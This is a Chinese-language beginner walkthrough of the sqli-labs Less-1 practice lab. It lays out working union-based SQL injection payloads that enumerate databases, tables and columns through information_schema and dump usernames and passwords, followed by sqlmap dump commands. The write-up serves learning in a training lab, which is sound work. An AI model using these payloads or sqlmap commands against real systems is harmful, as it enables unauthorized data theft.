sqli-labs less-1
前言
鄙人不才,只是把平时学习的笔记整理下来,仅供参考,望大家指点。
首先我们需要了解,什么是sql注入? SQL注入是比较常见的网络攻击方式,它不是利用操作系统的BUG来实现攻击,而是针对程序员编写代码时的疏忽,导致他人可以通过操作输入来修改后台SQL语句达到代码执行,进行攻击的后果
注入手法的分类
注入手法可以分为:
联合查询注入、报错型注入、布尔型注入、延时注入、堆叠注入
从数据类型可以分为:
字符型、数值型
从注入位置可以分类为:
GET数据(提交数据的方式为GET,大多存在地址栏)
POST数据(提交数据的方式为POST,大多存在于输入框中)
HTTP头部(提交数据的方式为HTTP头部)
cookie数据(提交数据的方式为cookie)
开始注入
在开始之前,做两件简单的事
1.在firefox浏览器中,下载一个名为HackBar的插件
2.在less-1的index.php文件中,添加两行语句,这可以显示你注入的位置,更直观地学习。
上面两步都是为了注入过程更直观。
首先的问题是,查看是否有sql注入漏洞?用什么方式注入? 通过网页上的提示我们得知:
Please input the ID as parameter with numeric value
输入ID作为带数值的参数
输入id=1,2,3,4后,可以看到返回的值也是不同的
知道可以从id注入,但是还不知道是字符型注入还是整型注入,用and 1=1和and 1=2来判断
首先在后面构造一个and 1=1
再构造一个and 1=2,发现无论是and 1=1,还是and 1=2都是正常的显示。
得出结论这是一个字符型的注入,那么添加一个单引号,发现网页报错,且1‘正处于一对单引号之间。
目前的目标便是去掉一个单引号,让1’后面的单引号与前面的闭合,让查询语句变成可控的变量
在sql语句中,--+、-- 、#是注释符号,但是#与空格都会被转义,所以使用--+
找出了注入方式,需要知道有几列在显示
使用order by语句,对半拆解法,修改order by后面的参数
从10尝试,一直对半拆解,直到没有报错回显,4列报错,3列正常,最后得到结果为3列
知道了列数,还需要知道哪些列显示哪些列不显示?
union select找出1,2,3中是哪些显示数据
2、3列在显示
爆当前数据库与所有数据库
查看当前数据库database()
查看所有数据库操作group_concat(schema_name) from information_schema.schemata--+
爆表
爆security的表信息,group_concat(table_name) from information_schema.tables where table_schema='security'--+
在此不推荐用'security'因为可能会引入单引号问题,可以把它转成十六进制。同样的效果,但十六进制可以避免单引号问题
爆列名
爆列名的操作,group_concat(column_name) from information_schema.columns where table_name='users'--+
之所以这么多,是因为没有对库进行限制,后面加上个table_schema='security'
爆数据
使用组合函数取出账号密码,group_concat(concat_ws(‘-’,username,password)) from security.users--+
总结
- 查看是否有注入
//http://www.sqli.com/Less-1/?id=4 - 查看多少列
//使用拆解法,order by - 查看哪些数据可以回显
//union select - 查看所有数据库
//Select schema_name from information_schema.shcemata; - 查看当前数据库
//Select table_name from information_schema.tables where table_schema=’security’; - 查看所有的表
//select column_name from information_schema.columns where table_name=‘users’; - 查看所有列的信息
//select id,usernme,password from security.users; - 查询所有字段信息
用sqlmap来爆破 (这我就不演示了,工具爆破只要知道参数就行,比较容易上手)
- 在cmd下
sqlmap.py -u “http://www.sqli.com/Less-1/?id=1” //用sqlmap对此url网页进行自动注入扫描,找到注入点 - 爆库名
sqlmap.py -u “http://www.sqli.com/Less-1/?id=1” --dbs - 爆表名
sqlmap.py -u “http://www.sqli.com/Less-1/?id=1” -D security --tables - 爆字段名
sqlmap.py -u “http://www.sqli.com/Less-1/?id=1” -D security -T users --columns - 爆数据
sqlmap.py -u “http://www.sqli.com/Less-1/?id=1” -D security -T users -C id,username,password --dump
我这篇文章主要面向于不知道从何着手的新手,所以讲得很繁琐。如果有什么地方不对的,请指正。
|